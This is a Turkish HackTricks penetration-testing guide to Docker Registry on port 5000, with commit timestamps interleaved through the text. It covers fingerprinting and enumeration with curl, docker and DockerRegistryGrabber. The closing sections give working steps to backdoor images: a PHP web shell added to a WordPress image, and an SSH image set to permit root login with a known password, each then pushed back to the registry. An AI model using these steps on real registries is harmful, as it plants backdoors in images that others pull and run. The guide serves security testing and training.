2024-02-10 18:14:16 +00:00
# 5000 - Docker Registry Pentesting
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramanla öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na** ](https://github.com/sponsors/carlospolop ) göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**The PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na **PR göndererek paylaşı n** .
2022-04-28 16:01:33 +00:00
< / details >
2024-02-10 18:14:16 +00:00
## Temel Bilgiler
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Adlandı rı lan ve birden çok sürümle gelebilen Docker görüntüleri için bir depolama ve dağı tı m sistemi olan bir **Docker registry** mevcuttur. Bu görüntüler, her biri belirli bir görüntünün çeşitli sürümlerini depolayan **Docker depoları ** içinde düzenlenir. Sağlanan işlevsellik, kullanı cı nı n gerekli izinlere sahip olması durumunda görüntülerin yerel olarak indirilmesine veya kaydedilmesine olanak tanı r.
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
**DockerHub**, Docker için varsayı lan genel registry olarak hizmet verir, ancak kullanı cı lar ayrı ca açı k kaynaklı Docker registry/distribution'ı n yerinde bir sürümünü çalı ştı rma veya ticari olarak desteklenen **Docker Trusted Registry** seçeneğini tercih edebilirler. Ayrı ca, çeşitli diğer genel registry'ler çevrimiçi olarak bulunabilir.
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Yerinde bir registry'den bir görüntü indirmek için aşağı daki komut kullanı lı r:
2024-02-08 22:36:50 +01:00
```bash
2021-01-03 00:43:09 +00:00
docker pull my-registry:9000/foo/bar:2.1
```
2024-02-10 18:14:16 +00:00
Bu komut, `my-registry` alan adı ndaki yerinde kayı t defterinden `foo/bar` görüntüsünün `2.1` sürümünü alı r. Aynı görüntüyü DockerHub'dan indirmek için, özellikle `2.1` en son sürüm ise, komut şu şekilde basitleştirilir:
2024-02-08 22:36:50 +01:00
```bash
2021-01-03 00:43:09 +00:00
docker pull foo/bar
```
2024-02-10 18:14:16 +00:00
**Varsayı lan port:** 5000
2021-10-18 11:21:18 +00:00
```
2021-01-03 00:43:09 +00:00
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2024-02-10 18:14:16 +00:00
## Keşif
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Bu hizmetin çalı ştı ğı nı keşfetmenin en kolay yolu, nmap çı ktı sı nda bulmaktı r. Neyse ki, HTTP tabanlı bir hizmet olduğu için HTTP proxy'lerin arkası nda olabilir ve nmap bunu tespit etmeyebilir.\
Bazı parmak izleri:
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
* `/` 'ye erişirseniz, yanı tta hiçbir şey dönmeyecektir
* `/v2/` 'ye erişirseniz, `{}` döner
* `/v2/_catalog` 'a erişirseniz, aşağı dakileri elde edebilirsiniz:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
## Numaralandı rma
2021-01-03 00:43:09 +00:00
2022-05-01 13:25:53 +00:00
### HTTP/HTTPS
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Docker kayı t defteri **HTTP** veya **HTTPS** kullanacak şekilde yapı landı rı lmı ş olabilir. Bu yüzden yapmanı z gereken ilk şey, **hangi birinin** yapı landı rı ldı ğı nı **bulmaktı r** :
2021-01-03 00:43:09 +00:00
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
2024-02-10 18:14:16 +00:00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
2021-01-03 00:43:09 +00:00
Warning: < FILE > " to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-02-10 18:14:16 +00:00
### Kimlik Doğrulama
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Docker kayı t defteri ayrı ca **kimlik doğrulama** gerektirecek şekilde yapı landı rı labilir:
2021-01-03 00:43:09 +00:00
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-02-10 18:14:16 +00:00
Docker Registry kimlik doğrulaması gerektiriyorsa, bunu [**deneyerek brute force yapmayı deneyebilirsiniz** ](../generic-methodologies-and-resources/brute-force.md#docker-registry ).\
**Geçerli kimlik bilgilerini bulursanı z**, kayı t defterini numaralandı rmak için onları kullanmanı z gerekecektir, `curl` ile bunları şu şekilde kullanabilirsiniz:
2021-01-03 00:43:09 +00:00
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-02-10 18:14:16 +00:00
### DockerRegistryGrabber kullanarak Sı ralama
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
[DockerRegistryGrabber ](https://github.com/Syzik/DockerRegistryGrabber ), docker kaynakları nı (temel kimlik doğrulama olmadan veya temel kimlik doğrulama ile) sı ralamak / dökümlemek için kullanı lan bir Python aracı dı r.
2021-12-13 01:07:45 +01:00
```bash
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-10 18:14:16 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 01:07:45 +01:00
[+] blobSum found 5
[+] Dumping my-ubuntu2
2024-02-10 18:14:16 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 01:07:45 +01:00
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-10 18:14:16 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 01:07:45 +01:00
```
2024-02-10 18:14:16 +00:00
### curl kullanarak Numaralandı rma
2021-12-13 01:07:45 +01:00
2024-02-10 18:14:16 +00:00
Docker kayı t defterine **erişim sağladı ktan sonra** , onu numaralandı rmak için kullanabileceğiniz bazı komutlar aşağı da verilmiştir:
2021-01-03 00:43:09 +00:00
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
2024-02-10 18:14:16 +00:00
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
2021-01-03 00:43:09 +00:00
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
Not: Blobs dosyaları nı indirdiğinizde ve açtı ğı nı zda, mevcut dizinde dosya ve klasörler görünecektir. **Eğer tüm blobları indirip aynı klasöre açarsanı z, önceden açı lmı ş bloblardan gelen değerleri üzerine yazacaklardı r** , bu yüzden dikkatli olun. Her bir blobu ayrı bir klasör içinde açarak her bir blobun tam içeriğini incelemek ilginç olabilir.
2021-01-03 00:43:09 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Docker kullanarak Numaralandı rma
2021-01-03 00:43:09 +00:00
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
2024-02-10 18:14:16 +00:00
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
2021-01-03 00:43:09 +00:00
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-02-10 18:14:16 +00:00
### WordPress görüntüsüne arka kapı ekleme
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
WordPress görüntüsünü kaydeden bir Docker Registry bulduğunuz senaryoda, ona arka kapı ekleyebilirsiniz.\
**Arka kapı yı oluşturun**:
2021-01-03 00:43:09 +00:00
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
2024-02-10 18:14:16 +00:00
{% code title="Dockerfile" %}
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Bir **Dockerfile** oluşturun:
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
{% endcode %}
2021-01-03 00:43:09 +00:00
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
2024-02-10 18:14:16 +00:00
Yeni görüntüyü **oluşturun** , oluşturulduğunu **kontrol edin** ve **yayı nlayı n** :
2021-01-03 00:43:09 +00:00
```bash
2021-12-13 01:07:45 +01:00
docker build -t 10.10.10.10:5000/wordpress .
2024-02-10 18:14:16 +00:00
#Create
2021-01-03 00:43:09 +00:00
docker images
docker push registry:5000/wordpress #Push it
```
2024-02-10 18:14:16 +00:00
### SSH sunucusu görüntüsüne arka kapı ekleme
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Diyelim ki bir SSH görüntüsüne sahip olan bir Docker Registry buldunuz ve ona arka kapı eklemek istiyorsunuz.\
Görüntüyü **indirin** ve **çalı ştı rı n** :
2021-01-03 00:43:09 +00:00
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-02-10 18:14:16 +00:00
SSH görüntüsünden `sshd_config` dosyası nı çı karı n:
2021-01-03 00:43:09 +00:00
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-02-10 18:14:16 +00:00
Ve onu ayarlamak için değiştirin: `PermitRootLogin yes`
2021-01-03 00:43:09 +00:00
2024-02-10 18:14:16 +00:00
Aşağı daki gibi bir **Dockerfile** oluşturun:
2021-01-03 00:43:09 +00:00
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
2024-02-10 18:14:16 +00:00
Yeni görüntüyü **oluşturun** , oluşturulduğunu **kontrol edin** ve **yayı nlayı n** :
2021-01-03 00:43:09 +00:00
```bash
2021-12-13 01:07:45 +01:00
docker build -t 10.10.10.10:5000/sshd-docker-cli .
2024-02-10 18:14:16 +00:00
#Create
2021-01-03 00:43:09 +00:00
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-08 22:36:50 +01:00
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ ](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ )
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hackleme konusunda sı fı rdan kahramana kadar öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları :
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamı nı zı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA** ](https://github.com/sponsors/carlospolop ) göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* Özel [**NFT'lerden** ](https://opensea.io/collection/the-peass-family ) oluşan koleksiyonumuz olan [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'yi keşfedin
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )'u **takip edin** .
* Hacking hilelerinizi [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github reposuna PR göndererek paylaşı n.
2022-04-28 16:01:33 +00:00
< / details >